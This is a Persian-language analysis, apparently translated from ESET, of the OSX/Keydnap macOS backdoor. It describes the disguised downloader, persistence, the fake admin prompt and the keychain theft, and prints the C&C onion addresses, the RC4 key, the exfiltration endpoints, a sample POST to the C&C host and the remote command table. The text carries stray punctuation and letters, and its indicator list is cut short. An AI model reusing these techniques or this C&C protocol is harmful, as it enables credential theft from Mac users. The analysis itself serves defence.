بدافزار OSX Keydnap به دنبال دادههای کاربر
بدافزار OSX Keydnap
بدافزار OSX Keydnap به دنبال دادههای کاربر
در هفتههای اخیر لابراتوارهای ESET در حال تحقیق درباره یک بدافزار جدید هستند. که OSX/Keydnap نام دارد و به نظر میرسد .که هدف آن سرقت محتوای keychain و حفظ یک درب پشتی دائمی میباشد. اطلاعات در دست تا به امروز در مورد این تهدید به شرح ذیل است.
بردار آلودگی
هنوز مشخص نیست. که قربانیان چگونه توسط OSX/Keydnap آلوده میشوند. این امر ممکن است. از طریق ضمیمه در پیامهای اسپم، دانلودها از سایتهای غیر. امن یا مورد دیگری باشد. اجزا downloader .توسط یک فایل .zip توزیع میگردد. فایل آرشیو دارای یک فایل قابلاجرا Mach-O است که دارای پسوندی مانند .txt یا .jpg میباشد. اما پسوند فایل درواقع دارای. یک کارکتر خالی در پایان است. با دو کلیک روی فایل، آن در Terminal باز میشود. و نه در Preview یا TextEdit.
شکل 1- پنجره جستجوگر (Finder) فایل zip دارای فایل مخرب .jpg
شکل 2- پنجره اطلاعات فایل downloader
فایل زیپ نیز دارای Resource fork است که icon فایل در آن قابلاجرا میباشد. این ایکن Finder را تقلید میکند. پس از اجرا، یک پنجره Terminal باز میشود و payload مخرب اجرا میشود.
دانلودر OSX/Keydnap
این دانلودر یک فایل بدون امضا اجرایی Mach-0 است. اگر فایل با یک مرورگر دانلود شود. و Gatekeeper بر روی سیستم فعال باشد، آن .اجرا نمیشود و یک هشدار به کاربر نشان میدهد. Gatekeeper برنامه. پیشفرض نسخههای اخیر OS X و MacOS میباشد.
تصویر 3: پیام نشان دادهشده اگر فایل ZIP در مرورگر Safari دانلود شود.
پروسه عملکرد دانلودر Keydnap ساده است:
1. دانلود کردن و اجرای اجزا backdoor.
2. جایگزینی محتوا از فایل اجرایی دانلودر Mach-0 توسط یک برنامه انحرافی، با استفاده از یک فایل embedded و رمزنگاریشده base64 یا با دانلود شدن از اینترنت.
3. باز کردن یک فایل انحرافی.
4. بستن پنجره ترمینالی که باز میشود.
فایل انحرافی. جایگزین فایل دانلودر Mach-0 میشود که یعنی فایل اجرایی مخرب .فقط در فایل ZIP موجود خواهد بود. دانلودر backdoor یک خط به دایرکتوری LaunchAgent اضافه خواهد کرد. و پس از reboot از بین نمیرود. چندین گونه از این دانلودر executable شناساییشده است. اخیراً نمونههای از فایلهای انحرافی دیدهشده است. که screenshot های پانلهای botnet C&C و یا حجمهای شمارههای کارتهای اعتباری هستند. این یعنی Keydnap ممکن است کاربران فوروم های زیرزمینی. یا حتی محققین امنیتی را هدف قرار داده باشد. در گونههای اخیر یک build name وجود دارد مانند “elitef*ck”، “ccshop” و “Transmission”.
لتصویر 4: نمونه تصویر انحرافی (1
هتصویر 5: نمونه تصویر انحرافی (2.
تصویر 6: نمونه تصویر انحرافی (3ا
OSX/Keydnap backdoor
تمامی نمونههای درب پشتی شناساییشده. تابهحال دارای اسم فایل “icloudsyncd” هستند. این بدافزار دارای یک version string است که به سرور C&C گزارش میکند و این مورد در دو نسخه (1.3.1 و 1.3.5) دیدهشده است.
ابهامات (Obfuscation)
درحالیکه ماژول دانلودر packed نمیباشد، درب پشتی با یک نسخه تغییریافته. از UPX pack شده است. در نسخه 3.91 دو تغییر به UPX ایجادشده است.
• بایتهای UPX! در header با ASS7 جایگزین شدهاند.
• کد decompress شدن و بخشهای string با “0x01” “XOR” شدهاند. درحالیکه میتوانند. خود را decompress کنند، XOR پس از decompress شدن و قبل از فراخوانی عملکرد اصلی باینری اولیه انجام میشود.
تصویر 7: اختلاف بین یک فایل packed و استاک UPX و یک فایل تغییریافته
یک پچ برای UPX از طرف شرکت ESET موجود است. که اجازه میدهد. که درب پشتی Keydnap توسط upx –d از حالت pack خارج شود.
دوام و پافشاری
پس از اجراشدن. درب پشتی Keydnap یک فایل plist در مسیر “/Library/LaunchAgents/” نصب میکند. و اگر مجوز روت (root privilages) داشته باشد در مسیر “$USER/Library/LaunchAgents/” .نصب میشود. و در غیر این صورت در طی reboot های مجدد سعی بر نصب شدن میکند. دایرکتوری ” Library/Application Support/com.apple.iCloud.sync.daemon” .برای حفظ اجرایی بودن ” icloudsyncd” استفاده میشود. این directory دارای شناسه. پروسه (process ID) بدافزار در حال. اجرا در process.id و یک “buildname” در build.id میباشد. با داشتن مجوز ادمین (administrator privileges)، .بدافزار مالک icloudsyncd را به root:admin تغییر میدهد. و “setuid” و “setgid” را قابلاجرا میسازد. که یعنی از این به بعد همیشه بهعنوان root اجرا خواهد شد.
تصویر 8: فایل لیست Property در دایرکتوری LaunchAgent
برای استتار. محل فایلهای مخرب Keydnap فایل argv[0] را با “/usr/libexec/icloudsyncd –launchd netlogon.bundle” .جایگزین میکند. در اینجا نمونهای. نتیجه ps ax را در یک سیستم آلوده مشاهده میکنیم.
تصویر 9: نتیجه ps ax را در یک سیستم آلوده
سرقت keychain
درب پشتی OSX/Keydnap به مکانیزم جمعآوری و exfilter کردن اسم رمزها. و کلیدها در keychain OS X مجهز میباشد. نویسنده فقط یک. مثال بهعنوان proof-of-concept .یک نمونه به اسم Keydumpchain از Github برداشت کرده است. آن حافظه security را خوانده و به دنبال کلید. رمزگشایی برای keychain کاربر میگردد. یکی از دلایلی که ممکن است. منبع مستقیماً از Github برداشتهشده باشد. این است. که اسم عملکرد در source code دقیقاً مانند اسم در بدافزار Keydnap است.
تصویر 10: لیست عملکرد درب پشتی OSX/Keydnap. عملکردهای از Keychaindump سبز هستند.
ارتباط با C&C
Keydnap از پراکسی onion.to Tor2Web در HTTPS برای ارسال. گزارشات. به سرور C&C خود استفاده میکند. در نمونههای مختلف دو آدرس onion دیدهشده است.
• g5wcesdfjzne7255.onion (Down)
• r2elajikcosf7zee.onion (Alive at time of writing)
منبع HTTP همیشه با /api/osx/ شروع میشود و دارای عملکردهای به شرح ذیل است:
• ./api/osx/started to report the bot has just started
• -/api/osx/keychain to exfiltrate the content of the keychain
• _/api/osx/get_task?bot_id={botid}&version={version} to request a task (described below)
• (/api/osx/cmd_executed to report a the output of a command that was executed
• )/api/osx/task_complete?bot_id={botid}&task_id={taskid} to report a task was completed
محتوای HTTP POST .دو فیلد دارد: bot_id و data. فیلد data رمزگذاری شده. با کلید RC4 key “u2RLhh+!LGd9p8!ZtuKcN” است. در زمان exfilter کردن keychain فیلد keychain بهجای data استفاده میشود..
POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u…5TximyY{fea3c28d3890e38680ec32848aac0d612e51e58d6c76d9449e10e3199002478e}2BQY{fea3c28d3890e38680ec32848aac0d612e51e58d6c76d9449e10e3199002478e}3Dbot_id=9
تصویر 11: ارسال اطلاعات اولیه توسط بدافزار
تصویر 12: ارسال دادههای decode شده به C&C
bot_id با هش کردن. ارزشهای ذیل با SHA-256 ساخته میشود.
1. سختافزار UUID (IOPlatformUUID)
2. شماره سریال سیستم (IOPlatformSerialNumber)
3. شناسه مدل Mac (e.g.: MacBookPro9,2)
درک بیشتر دستورات ساده است. دستور اطلاعات ذیل را به ارسال میکند.
• device_model: ح.the model identifier (e.g.: MacBookPro9,2).
• bot_version: جversion of Keydnap.
• build_name: قthe “build name” that was given by downloader.
• os_version: گOS X or macOS kernel version.
• ip_address: نexternal IP address as reported by ipify.org.
• has_root:س 1 if executed as root, 0 otherwise.
Backdoor commands
دستورهای درب پشتی
پاسخ به دستور get_task دارای یک integer برای شناسایی نوع دستور. و argument های انتخابی میباشد. عملکرد get_and_execute_tasks 10 نوع دستور مختلف را مدیریت میکند.
Command ID Description
0 Uninstall Keydnap and quit
1 Update the backdoor from a base64-encoded file
2 Update the backdoor given a URL
3 Decode and execute a base64-encoded file
4 Decode and execute a base64-encoded Python script
5 Download and execute a file from a URL
6 Download and execute a Python script from a URL
7 Execute a command and report the output back to the C&C server
8 Request administrator privileges the next time the user runs an application
9 Decode and execute, or stop, a base64-encoded file calledauthd_service
دو دستور آخر مشخصاً متفاوت هستند. دستور شماره 8 باید زمانی ارسال شود. که keydnap در حال root عمل نمیکند. در زمان انتشار درب پشتی شروع. به مانیتور کردن پروسه شمارش کاربر میشود. وقتیکه دو پروسه در دو ثانیه ایجاد. شود، keydnap یک پنجره جدید ایجاد میکند. و از کاربر درخواست شناسه میکند. که دقیقاً مانند. درخواست دسترسی ادمین در برنامهها برای کاربران OS X است. اگر کاربر گول بخورد و شناسه ارائه دهد درب پشتی بهعنوان root اجرا میشود و محتوای keychain قربانی exfiltrate خواهد شد.
تصویر 13: کد اجرا پروسه check count
تصویر 14: درخواست دسترسی icloudsyncd
مشخص نیست که فایل اجرایی authd_service .در شماره 9 چیست چون تابهحال استفاده آن دیده نشده است.
جمعبندی
در حال حاضر. از روش توزیع OSX/Keydnap آگاه نیستیم. و تعداد قربانیان را نیز نمیدانیم. چندین مکانیزم جلوگیری از بدافزار OSX/Keydnap وجود دارد اما بااینحال میتوان کاربر را گول زد تا کد مخرب غیر sandbox را (با گذاشتن یک icon در فایل Mach-0) اجرا کند.
IoC ها
نمونهها
Downloader
همه دانلودرها در لیست زیر توسط ESET بهعنوان OSX/TrojanDownloader.Keydnap.A شناساییشدهاند.
بدافزار OSX Keydnap به دنبال دادههای کاربر